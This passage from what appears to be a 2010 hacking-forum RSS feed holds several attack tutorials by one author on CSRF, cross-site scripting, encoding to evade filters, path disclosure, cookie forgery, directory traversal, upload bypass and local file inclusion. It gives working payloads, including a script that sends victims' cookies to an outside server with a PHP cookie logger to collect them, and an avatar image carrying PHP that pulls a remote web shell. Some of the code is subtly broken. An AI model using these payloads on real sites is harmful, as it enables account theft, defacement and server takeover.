<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
[img]http://c0rrupt.net/97349j43948hdh8/login.php?do=logout[/ img] (without the space)</code><hr />
</div>This i just a small portion of what you can do with it... Alot of people use a bank as an example.. But frankly, you're most likely not going to find one.. But it works generally the same. You can also use it for post requests. To do so: <br />
 <br />
First, you're going to need <a href="http://www.mozilla.com/en-US/firefox/personal.html" target="_blank">Firefox</a>. After Installing that, you're going to want an addon called <a href="https://addons.mozilla.org/en-US/firefox/addon/3829/" target="_blank">Live HTTP Headers</a>. So, after this, you're going to want to open up Live HTTP Headers by going into tools&gt;Live HTTP Headers. Then, go over to the generator tab. Then, make sure Live HTTP Headers Generator tab is clean, if not, press clear. Then, you submit whatever you want them to do. Such as add you as a friend on some website, or something like that. And it should be on the top of the list, generally looking like: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
POST /people/friends/add.php?UID=485</code><hr />
</div>Sometimes though, when you copy that, it will get rid of the &quot;?&quot; after add.php, and the request will not work unless you add it back.. Then, you can exploit it the same as above. <br />
 <br />
 <br />
This is just a basic tutorial, I plan on updating it in the future. Just figured I would write a quick tutorial so that people would know what is it.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2937-cross-site-request-forgery.html</guid>
		</item>
		<item>
			<title>Guide Cross Site Scripting</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2936-cross-site-scripting.html</link>
			<pubDate>Thu, 12 Aug 2010 18:29:24 GMT</pubDate>
			<description>Cross site scripting allows you to insert malicious code into a website. Normally it is used for javascript, but can also be used for php and html. ...</description>
			<content:encoded><![CDATA[<div>Cross site scripting allows you to insert malicious code into a website. Normally it is used for javascript, but can also be used for php and html. <br />
 <br />
For a persistent <acronym title="Cross Site Scripting">XSS</acronym> attack, the user will inject the code into an input in a form. Commonly done in poorly scripted forums.  <br />
 <br />
A temp <acronym title="Cross Site Scripting">XSS</acronym> attack is inserted into the URL, and only executed when someone views a specific link.. An example would be like. <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://www.example.com/search.php?&amp;searchfor=&lt;script&gt;alert(&quot;<acronym title="Cross Site Scripting">XSS</acronym>&quot;)&lt;/script&gt;</code><hr />
</div>In the previous example, I used <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;script&gt;alert(&quot;<acronym title="Cross Site Scripting">XSS</acronym>&quot;)&lt;/script&gt;</code><hr />
</div> as an example. If the website was vulnerable to <acronym title="Cross Site Scripting">XSS</acronym>, it would popup a messagebox which would say <acronym title="Cross Site Scripting">XSS</acronym>. <br />
 <br />
<acronym title="Cross Site Scripting">XSS</acronym> exists in almost every website that exists, just because people tend not to sanitize their form inputes.  <br />
 <br />
Injecting HTML into a website via <acronym title="Cross Site Scripting">XSS</acronym> would be done like:<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> &lt;br&gt;&lt;br&gt;&lt;b&gt;&lt;u&gt;<acronym title="Cross Site Scripting">XSS</acronym>&lt;/u&gt;&lt;/b&gt;</code><hr />
</div>That would just include the bold words <acronym title="Cross Site Scripting">XSS</acronym> onto the webpage somehwere. <br />
 <br />
 <br />
To deface a website using <acronym title="Cross Site Scripting">XSS</acronym>, to insert an image you would use the code: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;IMG SRC=&quot;http://mywebsite.com/defacmentpic.jpg&quot;&gt;</code><hr />
</div>For a flash video: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;EMBED SRC=&quot;http://mywebsite.com/deface.swf&quot;</code><hr />
</div>For a looping hidden music file: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;embed src=&quot;http://mywebsite.com/deface.mid&quot; hidden autostart=&quot;true&quot; loop=&quot;true&quot; /&gt;</code><hr />
</div>To redirect using <acronym title="Cross Site Scripting">XSS</acronym>: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;script&gt;window.open( &quot;http://www.c0rrupt.net/&quot; )&lt;/script&gt;</code><hr />
</div>You can even steal cookies and fake a login using <acronym title="Cross Site Scripting">XSS</acronym>. <br />
 <br />
How? <br />
 <br />
Well, let me show you. With a little piece of code<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">document.location = &quot;http://myserver.com/cookielogger.php?c=&quot;+document.cookie</code><hr />
</div>That would be the <acronym title="Cross Site Scripting">XSS</acronym> code. <br />
 <br />
Although, if you're sending someone the link, you're going to want to encrypt the link using: <a href="http://ipchanged.com/surf.php?u=Oi8vd3d3LmVhc3ljYWxjdWxhdGlvbi5jb20vYXNjaWktaGV4LnBocA%3D%3D&amp;b=7" target="_blank">http://ipchanged.com/surf.php?u=Oi8v...BocA%3D%3D&amp;b=7</a> or you could use tinyurl. <br />
 <br />
For the encryption, you would convert <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;script&gt;alert(&quot;<acronym title="Cross Site Scripting">XSS</acronym>&quot;)&lt;/script&gt;</code><hr />
</div>to <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">3c:73:63:72:69:70:74:3e:61:6c:65:72:74:28:22:58:53:53:22:29:3c:2f:73:63:72:69:70:74:3e</code><hr />
</div>But, for your browser to read it, there needs to be some commas in there. <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">3c,73,63,etc</code><hr />
</div>The are some filters, and they are all possible to bypass. There is a cheat sheet at <a href="http://ha.ckers.org/xss.html" target="_blank">XSS (Cross Site Scripting) Cheat Sheet</a> <br />
 <br />
Now, since I've made it seem like you have to send the users a link, I'm going to shine some light on some of your problems. If you happen to know that this person wont click a link, you can still possibly exploit <acronym title="Cross Site Scripting">XSS</acronym>. Some forms on websites, which don't filter, will post something to the website somewhere.. Such as a forum. Say someone who was less than knowledgeable tried to code their own forum... Well, they might have everything working fine. But if you were to try to add <acronym title="Cross Site Scripting">XSS</acronym> into a reply, or new thread.. Or even the name. You might be able to inject your own javascript, into permanent storage.  <br />
Keylogger.php: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;?php <br />
/* <br />
** Kr3w's Cookie Logger <br />
** <a href="http://www.thedefaced.org" target="_blank">DemonFlyFF.com - First v15 FlyFF Private Server</a> <br />
*/ <br />
&nbsp;<br />
$ip = $_SERVER['REMOTE_ADDR']; <br />
$cookie = $_GET['cookie']; <br />
$referer = $_SERVER['HTTP_REFERER']; <br />
$browser = $_SERVER['HTTP_USER_AGENT']; <br />
$redirect = $_GET['redirect']; <br />
&nbsp;<br />
$data = &quot;IP: &quot; . $ip . &quot;\n&quot; <br />
.&quot;Cookie: &quot; . $cookie . &quot;\n&quot; <br />
.&quot;Referrer: &quot; . $referer . &quot;\n&quot; <br />
.&quot;Browser: &quot; . $browser . &quot;\n\n&quot;; <br />
&nbsp;<br />
$log = &quot;cookies.txt&quot;; <br />
@chmod($log, 0777); <br />
&nbsp;<br />
$f = fopen($log, 'a'); <br />
fwrite($f, $data); <br />
fclose($f); <br />
&nbsp;<br />
@header(&quot;Location: $redirect&quot;); <br />
&nbsp;<br />
?&gt;</code><hr />
</div>I personally use an <acronym title="Cross Site Scripting">XSS</acronym> shell. You can find it if you google beef <acronym title="Cross Site Scripting">xss</acronym> shell. Then do it the same as the document location thang.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2936-cross-site-scripting.html</guid>
		</item>
		<item>
			<title>Guide Encoding Your Attack Strings</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2935-encoding-your-attack-strings.html</link>
			<pubDate>Thu, 12 Aug 2010 18:28:54 GMT</pubDate>
			<description><![CDATA[So, in this tutorial I'm going to talk about encoding your attacks incase the web devs think they're smarter than you.. Well, after reading this...]]></description>
			<content:encoded><![CDATA[<div>So, in this tutorial I'm going to talk about encoding your attacks incase the web devs think they're smarter than you.. Well, after reading this tutorial, they might not be.. <br />
 <br />
Well, pretty much encoding your attacks is really easy, but sometimes effective.. <br />
If your attack doesn't work, something is being filtered... An easy way to fix this, is to go to a website that encrypts everything for you, so you can try again.. Such as: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://getyourwebsitehere.com/jswb/text_to_ascii.html</code><hr />
</div>That there, converts your code to ASCii.. Another one is: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://ha.ckers.org/<acronym title="Cross Site Scripting">xss</acronym>.html</code><hr />
</div>Scroll to the bottom of that, and you're able to encrypt your code's you're sending to the website.. Simple enough, but effective. <br />
 <br />
There is also something called double encoding.. It's also quite simple. <br />
Pretty much, we encode our string to character hex, then use an encoding string to make it slightly more encoded. <br />
 <br />
An example would be: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;script&gt;alert('<acronym title="Cross Site Scripting">XSS</acronym>')&lt;/script&gt;</code><hr />
</div>is the string we want to encrypt. <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt; is charhex incoded to: %3C then add: %25 to the begining, and get rid of the % on the charhex: %253C <br />
/ is charhex incoded to: %2F then add: %25 to the begining, and get rid of the % on the charhex: %252F <br />
&gt; is charhex incoded to: %3E then add: %25 to the begining, and get rid of the % on the charhex: %253E</code><hr />
</div><div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
%253Cscript%253Ealert('<acronym title="Cross Site Scripting">XSS</acronym>')%253C%252Fscript%253E</code><hr />
</div>It's also pretty simple..</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2935-encoding-your-attack-strings.html</guid>
		</item>
		<item>
			<title>Guide Full Path Disclosure</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2933-full-path-disclosure.html</link>
			<pubDate>Thu, 12 Aug 2010 18:27:46 GMT</pubDate>
			<description>This is my tutorial on full path disclosure. Full path Disclosure is used to get the path of file... This is commonly used for LFI... There are many...</description>
			<content:encoded><![CDATA[<div>This is my tutorial on full path disclosure. Full path Disclosure is used to get the path of file... This is commonly used for <acronym title="Local File Inclusion">LFI</acronym>... There are many ways to get this. One of which is look at the URL a website gives you: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/undex.php?page=about</code><hr />
</div>If we took that, and turned it into <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/undex.php?page[]=about</code><hr />
</div>That would render the page defunct causing it to show an error: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
Warning: opendir(Array): failed to open dir: No such file or directory in /home/example/htdocs/index.php on line 84 <br />
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/marijuana/index.php on line 131</code><hr />
</div>Looking at that, we can see that the full path. <br />
 <br />
 <br />
Another way, is ith Null Session Cookie. A simple example of this, would be setting something in the cookie to nothing (null) <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
javascript<b></b>:void(document.cookie=&quot;PHPSESSID=&quot;);</code><hr />
</div>That would give us: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
Warning: session_start() [function.session-start]: The session id contains illegal characters,&nbsp; <br />
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2</code><hr />
</div>A third way to get the full path, is to make a script, that requests a page to do something over and over enough, that it overloads, and spits out an error.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2933-full-path-disclosure.html</guid>
		</item>
		<item>
			<title>Guide Insecure Cookie Handeling</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2932-insecure-cookie-handeling.html</link>
			<pubDate>Thu, 12 Aug 2010 18:27:12 GMT</pubDate>
			<description><![CDATA[This tutorial is how to exploit insecure cookies.  
 
This isn't a common vulnerability from what I've seen, but I might just be un lucky for this.....]]></description>
			<content:encoded><![CDATA[<div>This tutorial is how to exploit insecure cookies. <br />
<br />
This isn't a common vulnerability from what I've seen, but I might just be un lucky for this.. I guess we'll start with the vulnerable code:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">if($_POST['password'] == $thepass) {<br />
setcookie(&#8220;admin&#8221;,&#8221;1?);<br />
} else { die(&#8220;Login failed!&#8221;); }<br />
&#8230;&#8230;&#8230;&#8230; etc &#8230;&#8230;&#8230;&#8230;&#8230;..<br />
if($_COOKIE['is_user_logged']==&#8221;1?)<br />
{ include &#8220;admin.php&#8221;; else { die(&#8216;not logged&#8217;); }</code><hr />
</div>What that does, is check if the password you've entered is the same as the password stored in the database.. If it is, it gives you a cookie: admin=1. Then, when that cookie exists, then it includes the admin.php.<br />
<br />
So, if we wanted to bypass this, we would just have to use some browser based javascript.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">javascript<b></b>:document.cookie = &#8220;admin=1; path=/&#8221;;</code><hr />
</div>That there, would make the vulnerable code think we're an admin... But there's more.. The admin.php also does some checks :\.<br />
<br />
Admin.php:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">if ($_COOKIE[PHPMYBCAdmin] == &#8221;) {<br />
if (!$_POST[login] == &#8216;login&#8217;) {<br />
die(&#8220;Please Login:<br />
&#8220;);<br />
} elseif($_POST[password] == $bcadminpass) {<br />
setcookie(&#8220;PHPMYBCAdmin&#8221;,&#8221;LOGGEDIN&#8221;, time() + 60 * 60);<br />
header(&#8220;Location: admin.php&#8221;); } else { die(&#8220;Incorrect&#8221;); }<br />
}</code><hr />
</div>How do we bypass that? Well:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">javascript<b></b>:document.cookie = &#8220;PHPMYBCAdmin=LOGGEDIN; path=/&#8221;;document.cookie = &#8220;1246371700; path=/&#8221;;</code><hr />
</div>You're probably wondering, what is 1246371700? Well, it's the current time() echo&#8217;ed + 360...<br />
<br />
So, by now I'm going to assume you're confused.. How are we supposed to know all of this without being able to view the php? Well, if you open up a cookie editor. (I like <a href="https://addons.mozilla.org/en-US/firefox/addon/573/" target="_blank">Add N Edit Cookies</a> for firefox, but it's your choice. Either way, after making an incomplete login, if you open the cookie editor and type in the website you're trying to exploit, you get a bunch of stuff. Now, we look at this &quot;stuff&quot; which is actually the cookies the web page saves to your browser. So, we can get the above info from here.<br />
<br />
We will use <a href="http://www.c0rrupt.net" target="_blank">C0rrupt.net - You will be redirected shortly to doxsters.</a> as an example, since that is where this tutorial is written for. So, since I'm logged in with my account (Starwiz, with a UID of 2) if we look in the cookie editor for the cookie with the name:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">bbuserid</code><hr />
</div>it will have the content:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">2</code><hr />
</div>Since my uid is 2. This would work the same for anything stored via cookies. But for forums it doesn't work the same, because the cookies also store encrypted password. But, a lot of website aren't vulnerable to this, because they implimented some SESSIONS into the login.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2932-insecure-cookie-handeling.html</guid>
		</item>
		<item>
			<title>Guide Insecure Download.php</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2931-insecure-download-php.html</link>
			<pubDate>Thu, 12 Aug 2010 18:26:04 GMT</pubDate>
			<description>So, this is my tutorial on exploiting insecure download.php files..  
Normally a download.php file, would check to validate the location of the file,...</description>
			<content:encoded><![CDATA[<div>So, this is my tutorial on exploiting insecure download.php files.. <br />
Normally a download.php file, would check to validate the location of the file, to make sure it was within a specific folder. But, some don't, which can allow us to download different files.. <br />
 <br />
Such as: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
/etc/passwd <br />
config.php</code><hr />
</div>Any file on the server you really wanted to..   This is a pretty short tut, since it's a simple concept.<br />
<br />
So, how would we download files we wanted to?<br />
<br />
Say we have a website which lets us download ebooks. And the URL to download ebooks is something like:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://www.victim.com/ebooks/download.php?file=MakeYourWebsiteSecureFromHackers.pdf</code><hr />
</div>Well, lets assume that the download.php file doesn't verify location or extension of the file. We could simply change it to something like:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://www.victim.com/ebooks/ download.php?file= ../ ../ ../ ../ ../ ../ ../etc/passwd (without all the spaces)</code><hr />
</div>That there, should theoretically download the passwd file. :P</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2931-insecure-download-php.html</guid>
		</item>
		<item>
			<title>Guide Insecure Permission</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2930-insecure-permission.html</link>
			<pubDate>Thu, 12 Aug 2010 18:25:25 GMT</pubDate>
			<description><![CDATA[Okay, so this tutorial is on insecure permissions.. Insecure permissions is pretty much where something of importance desn't check if you have...]]></description>
			<content:encoded><![CDATA[<div>Okay, so this tutorial is on insecure permissions.. Insecure permissions is pretty much where something of importance desn't check if you have permission to access it, because the web dev idiotically didn't set any sort of check up... Let's take a look at a db_lookup file within the admincp <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&nbsp; &nbsp; &lt;?php <br />
&nbsp; &nbsp; // Lookup in the database <br />
&nbsp; &nbsp; readfile('protected/usersdb.txt'); <br />
&nbsp; &nbsp; ?&gt;</code><hr />
</div>Now, we see that we can't access the /protected/ directory due to .htaccess.. But, we are able to access  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/users/admin/admincp/db_lookup.php</code><hr />
</div>If we were to navigate to that, bam, we would be able to see everything in the database.. Just like that. But, since the admincp directory isn't.. Or shouldn't be anywhere in the source, we are going to have to do some guessing to find it..  <br />
 <br />
Well, some admincps allow us to backup the database.. We'll assume it's phpdump.php <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&nbsp; &nbsp; function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {&nbsp;  <br />
&nbsp; &nbsp; $con=@mysql_connect(&quot;localhost&quot;,$uid, $pwd) or die(&quot;Could not connect&quot;);&nbsp;  <br />
&nbsp; &nbsp; $db=@mysql_select_db($dbname,$con) or die(&quot;Could not select db&quot;); <br />
&nbsp; &nbsp; .............................. etc .......................... <br />
&nbsp; &nbsp;  mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);</code><hr />
</div>Since this code has no verification of user, it doesn't check if you're the admin. Alrighty, so assuming we could magically find this file. We could go to: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/users/admin/admincp/phpdump.php</code><hr />
</div> and download the backup.. Easy enough. <br />
  <br />
 This is a really short tutorial, because there isn't really much that we can elaborate on.. It's a simple concept. But very effective if we can exploit it.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2930-insecure-permission.html</guid>
		</item>
		<item>
			<title>Guide Insecure Upload.php</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2929-insecure-upload-php.html</link>
			<pubDate>Thu, 12 Aug 2010 18:24:53 GMT</pubDate>
			<description><![CDATA[Okay, so this is going to be a short tutorial on insecure upload.php files.. Because frankly, there isn't much to talk about lol. 
 
So, an insecure...]]></description>
			<content:encoded><![CDATA[<div>Okay, so this is going to be a short tutorial on insecure upload.php files.. Because frankly, there isn't much to talk about lol.<br />
<br />
So, an insecure upload.php file, is a file that allows you to upload whatever you want to.. So it doesn't make sure it's the proper type of file.. Such as something that you're supposed to upload a jpg in, you may be able to upload a php file.. Or a file.php%00.jpg<br />
<br />
That works, because the %00(nullbyte) [pretty much makes the server stop loading anything after it. So, your file.php%00.jpg, is loaded by the server as a .jpg, but when it stores it it's saved as a .php.<br />
<br />
Nullbytes, can also be used to view forbidden derectories, text files, sql files.. Such as doing it in a directory traversal.<br />
<br />
Yeah, that's about all I can think of right now on this topic. But i'll be sure to update it when I can think of more.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2929-insecure-upload-php.html</guid>
		</item>
		<item>
			<title>Guide Local File Inclusion</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2927-local-file-inclusion.html</link>
			<pubDate>Thu, 12 Aug 2010 18:22:41 GMT</pubDate>
			<description>Local file inclusion is when you upload a file to a server, then run the file with the permissions of the web server. Most of the time when you...</description>
			<content:encoded><![CDATA[<div>Local file inclusion is when you upload a file to a server, then run the file with the permissions of the web server. Most of the time when you upload something it will be in the format of an image file, such as an avatar.. After that, you execute the avatar, which you've hidden some php inside. <br />
 <br />
First thing we are going to want to do is download hex workshop or some other hex editor that allows us to add our own bytes. In hex editor all you have to do is open the image you want to use as an avatar, go to the end of the file, and add some php code. <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&lt;? <br />
include &quot;http://flyleaf.co.cc/Shell/GNY%20Shell.txt?&quot;; <br />
?&gt;</code><hr />
</div>We're using a .txt file, because if it were a php file, the server we're attacking wouldn't be able to see the contents, and it wouldn't work.. But it still executes as a php file, don't worry about that. <br />
So, after we have that code in our image, we upload it to the server. After that, we need to try and create some sort of an error in the website to get the local path of our image. Such as <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
/users/~Me/public_html/forum/images/avatars/lolawesomestuff.jpg.</code><hr />
</div>There are a few ways to create an error in a php file. If the file accepts input, we could try and close off the input and add some random code that does nothing (Just an idea, not sure if it works lol).  After inputing that, we can hit enter and cause it to give us an error. It will say something like: <br />
Error in /users/~Me/public_html/forum/uploads/input.php on line 32 <br />
We could also generate a mysql error. Which would be completed by opening a ton of threads which are refreshing instantly. This would cause more connections than allowed by the DB. Which should display an error for us. <br />
 <br />
I've got a section for creating errors, this is simple some examples.  <br />
 <br />
So, we could then right click on our image and copy image location. Paste it into a text edior.  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://victim.com/forum/images/avatar/lolawesomestuff.jpg</code><hr />
</div>So, we would look at that and the error we generated in our php file, and put two and two together. <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
/users/~Me/public_html/forum/images/avatar/lolawesomestuff.jpg</code><hr />
</div>I got that, because I look the location I got from the error, and used logic to put it together with the location of the image on the website. <br />
 <br />
After that, we would need to find a way to get the web server to execute it. (Since it has our php file in it). <br />
This part isn't too hard, just look around for a URL that calls upon another page. Such as: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://victim.com/forum/index.php?page=discussion</code><hr />
</div>Well, perfect. Now, we take this and the link we've saved and put them together. Like: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://victim.com/forum/index.php?page=/users/~Me/public_html/forum/images/avatar/lolawesomestuff.jpg?</code><hr />
</div>That would execute our jpg file, which in turn would execute the php file inside of the image, which, would include our shell to the website. <br />
 <br />
Now, to execute our shell, we would be able to just navagate to: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://victim.com/forum/images/avatar/c99.php</code><hr />
</div>I believe that that is the URL we would have to use.. If not, it would be: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://victim.com/forum/index.php?page=/users/~Me/public_html/forum/images/avatar/c99.php</code><hr />
</div>But I'm pretty sure it's the first one.. <br />
 <br />
That would upload our shell. Which is pretty much the point of <acronym title="Local File Inclusion">LFI</acronym>.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2927-local-file-inclusion.html</guid>
		</item>
		<item>
			<title>Guide Parameter Delimination</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2925-parameter-delimination.html</link>
			<pubDate>Thu, 12 Aug 2010 18:21:00 GMT</pubDate>
			<description>This attack is based on the manipulation of parameter delimiters used by web app inputs to bypass access controlls, or authorization..  
  
So,...</description>
			<content:encoded><![CDATA[<div>This attack is based on the manipulation of parameter delimiters used by web app inputs to bypass access controlls, or authorization.. <br />
 <br />
So, within some poorly written php files, it will store user permissions such as: <br />
